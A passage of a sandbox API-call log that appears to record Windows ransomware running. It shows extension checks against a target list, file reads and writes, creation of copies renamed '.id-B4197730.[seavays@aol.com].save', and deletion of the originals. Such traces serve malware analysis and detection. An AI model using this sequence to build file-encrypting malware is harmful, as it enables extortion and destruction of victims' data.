(lpString=".xls") returned 4 [0159.463] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.463] lstrlenW (lpString=".xlsx") returned 5 [0159.463] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.463] lstrlenW (lpString=".ppt") returned 4 [0159.463] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.463] lstrlenW (lpString=".zip") returned 4 [0159.463] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.463] lstrlenW (lpString=".rar") returned 4 [0159.463] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.463] lstrlenW (lpString=".bz2") returned 4 [0159.463] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.463] lstrlenW (lpString=".7z") returned 3 [0159.463] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.463] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.463] lstrlenW (lpString=".dbf") returned 4 [0159.464] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.464] lstrlenW (lpString=".1cd") returned 4 [0159.464] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.464] lstrlenW (lpString=".jpg") returned 4 [0159.464] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.464] lstrlenW (lpString=".doc") returned 4 [0159.464] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString=".docx") returned 5 [0159.464] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.464] lstrlenW (lpString=".pdf") returned 4 [0159.464] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString=".xls") returned 4 [0159.464] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.464] lstrlenW (lpString=".xlsx") returned 5 [0159.464] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.464] lstrlenW (lpString=".ppt") returned 4 [0159.464] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.464] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.464] lstrlenW (lpString=".zip") returned 4 [0159.464] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.464] lstrlenW (lpString=".rar") returned 4 [0159.465] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.465] lstrlenW (lpString=".bz2") returned 4 [0159.465] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.465] lstrlenW (lpString=".7z") returned 3 [0159.465] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.465] lstrlenW (lpString=".dbf") returned 4 [0159.465] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.465] lstrlenW (lpString=".1cd") returned 4 [0159.465] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.465] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27 [0159.465] lstrlenW (lpString=".jpg") returned 4 [0159.465] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.465] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.465] lstrlenW (lpString="msyhn_boot.ttf") returned 14 [0159.465] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.466] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=154427) returned 1 [0159.466] CloseHandle (hObject=0x374) returned 1 [0159.466] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0159.466] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.466] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.466] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.466] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.466] lstrlenW (lpString=".doc") returned 4 [0159.466] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.466] lstrlenW (lpString=".docx") returned 5 [0159.466] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.466] lstrlenW (lpString=".pdf") returned 4 [0159.467] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString=".xls") returned 4 [0159.467] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.467] lstrlenW (lpString=".xlsx") returned 5 [0159.467] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.467] lstrlenW (lpString=".ppt") returned 4 [0159.467] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.467] lstrlenW (lpString=".zip") returned 4 [0159.467] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.467] lstrlenW (lpString=".rar") returned 4 [0159.467] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString=".bz2") returned 4 [0159.467] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString=".7z") returned 3 [0159.467] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.467] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.467] lstrlenW (lpString=".dbf") returned 4 [0159.467] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.467] lstrlenW (lpString=".1cd") returned 4 [0159.467] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.467] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.467] lstrlenW (lpString=".jpg") returned 4 [0159.468] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.468] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.468] lstrlenW (lpString=".doc") returned 4 [0159.468] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString=".docx") returned 5 [0159.468] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.468] lstrlenW (lpString=".pdf") returned 4 [0159.468] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString=".xls") returned 4 [0159.468] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.468] lstrlenW (lpString=".xlsx") returned 5 [0159.468] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.468] lstrlenW (lpString=".ppt") returned 4 [0159.468] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.468] lstrlenW (lpString=".zip") returned 4 [0159.468] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.468] lstrlenW (lpString=".rar") returned 4 [0159.468] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString=".bz2") returned 4 [0159.468] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.468] lstrlenW (lpString=".7z") returned 3 [0159.468] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.469] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.469] lstrlenW (lpString=".dbf") returned 4 [0159.469] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.469] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.469] lstrlenW (lpString=".1cd") returned 4 [0159.469] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.469] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28 [0159.469] lstrlenW (lpString=".jpg") returned 4 [0159.469] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.469] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.469] lstrlenW (lpString="msyh_boot.ttf") returned 13 [0159.469] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.470] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=156245) returned 1 [0159.470] CloseHandle (hObject=0x374) returned 1 [0159.470] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20 [0159.470] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.470] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.470] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.470] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.470] lstrlenW (lpString=".doc") returned 4 [0159.470] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.470] lstrlenW (lpString=".docx") returned 5 [0159.470] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.470] lstrlenW (lpString=".pdf") returned 4 [0159.470] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.470] lstrlenW (lpString=".xls") returned 4 [0159.470] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.470] lstrlenW (lpString=".xlsx") returned 5 [0159.470] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.470] lstrlenW (lpString=".ppt") returned 4 [0159.470] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString=".zip") returned 4 [0159.471] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.471] lstrlenW (lpString=".rar") returned 4 [0159.471] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString=".bz2") returned 4 [0159.471] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString=".7z") returned 3 [0159.471] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString=".dbf") returned 4 [0159.471] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString=".1cd") returned 4 [0159.471] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString=".jpg") returned 4 [0159.471] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.471] lstrlenW (lpString=".doc") returned 4 [0159.471] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.471] lstrlenW (lpString=".docx") returned 5 [0159.471] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.471] lstrlenW (lpString=".pdf") returned 4 [0159.471] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString=".xls") returned 4 [0159.472] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.472] lstrlenW (lpString=".xlsx") returned 5 [0159.472] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.472] lstrlenW (lpString=".ppt") returned 4 [0159.472] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.472] lstrlenW (lpString=".zip") returned 4 [0159.472] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.472] lstrlenW (lpString=".rar") returned 4 [0159.472] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString=".bz2") returned 4 [0159.472] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString=".7z") returned 3 [0159.472] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0159.472] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.472] lstrlenW (lpString=".dbf") returned 4 [0159.472] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.472] lstrlenW (lpString=".1cd") returned 4 [0159.472] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0159.472] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27 [0159.472] lstrlenW (lpString=".jpg") returned 4 [0159.472] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0159.473] lstrcmpiW (lpString1=".ttf", lpString2=".save") returned 1 [0159.473] lstrlenW (lpString="segmono_boot.ttf") returned 16 [0159.473] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.474] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=44859) returned 1 [0159.474] CloseHandle (hObject=0x374) returned 1 [0159.474] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20 [0159.474] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.474] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.474] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0159.474] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0159.474] lstrlenW (lpString=".doc") returned 4 [0159.474] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0159.474] lstrlenW (lpString=".docx") returned 5 [0159.474] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0159.474] lstrlenW (lpString=".pdf") returned 4 [0159.474] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0159.475] lstrlenW (lpString=".xls") returned 4 [0159.475] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0159.475] lstrlenW (lpString=".xlsx") returned 5 [0159.475] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0159.475] lstrlenW (lpString=".ppt") returned 4 [0159.475] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0159.475] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30 [0159.475] lstrlenW (lpString=".zip") returned 4 [0159.475] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0159.475] lstrlenW (lpString=".rar") returned 4 [0159.475] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0159.475] lstrlenW (lpString=".bz2") returned 4 [0159.475] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0159.475] lstrlenW (lpString=".7z") returned 3 [0159.475] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0160.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0160.789] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.789] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0160.792] GetLastError () returned 0x0 [0160.792] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x95, lpOverlapped=0x0) returned 1 [0160.810] WriteFile (in: hFile=0x39c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xa0, lpOverlapped=0x0) returned 1 [0160.812] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0160.812] WriteFile (in: hFile=0x39c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x104, lpOverlapped=0x0) returned 1 [0160.812] SetEndOfFile (hFile=0x39c) returned 1 [0160.813] CloseHandle (hObject=0x39c) returned 1 [0160.813] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.813] SetEndOfFile (hFile=0x398) returned 1 [0160.817] CloseHandle (hObject=0x398) returned 1 [0160.817] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0160.818] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0160.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.819] lstrlenW (lpString=".doc") returned 4 [0160.819] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".docx") returned 5 [0160.819] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.819] lstrlenW (lpString=".pdf") returned 4 [0160.819] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".xls") returned 4 [0160.819] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".xlsx") returned 5 [0160.819] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.819] lstrlenW (lpString=".ppt") returned 4 [0160.819] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.819] lstrlenW (lpString=".zip") returned 4 [0160.819] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".rar") returned 4 [0160.819] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".bz2") returned 4 [0160.819] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.819] lstrlenW (lpString=".7z") returned 3 [0160.819] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.819] lstrlenW (lpString=".dbf") returned 4 [0160.820] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.820] lstrlenW (lpString=".1cd") returned 4 [0160.820] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.820] lstrlenW (lpString=".jpg") returned 4 [0160.820] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.820] lstrlenW (lpString=".doc") returned 4 [0160.820] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString=".docx") returned 5 [0160.820] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0160.820] lstrlenW (lpString=".pdf") returned 4 [0160.820] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString=".xls") returned 4 [0160.820] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString=".xlsx") returned 5 [0160.820] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0160.820] lstrlenW (lpString=".ppt") returned 4 [0160.820] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.820] lstrlenW (lpString=".zip") returned 4 [0160.820] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0160.820] lstrlenW (lpString=".rar") returned 4 [0160.820] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0160.821] lstrlenW (lpString=".bz2") returned 4 [0160.821] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0160.821] lstrlenW (lpString=".7z") returned 3 [0160.821] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0160.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.821] lstrlenW (lpString=".dbf") returned 4 [0160.821] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0160.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.821] lstrlenW (lpString=".1cd") returned 4 [0160.821] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0160.821] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0160.821] lstrlenW (lpString=".jpg") returned 4 [0160.821] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0160.821] lstrcmpiW (lpString1=".cfg", lpString2=".save") returned -1 [0160.821] lstrlenW (lpString="jvm.cfg") returned 7 [0160.821] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0160.822] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=634) returned 1 [0160.822] CloseHandle (hObject=0x398) returned 1 [0160.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg")) returned 0x20 [0160.822] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0160.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0160.823] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.823] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0160.823] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\amd64\\jvm.cfg.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0161.124] GetLastError () returned 0x0 [0161.124] ReadFile (in: hFile=0x398, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: 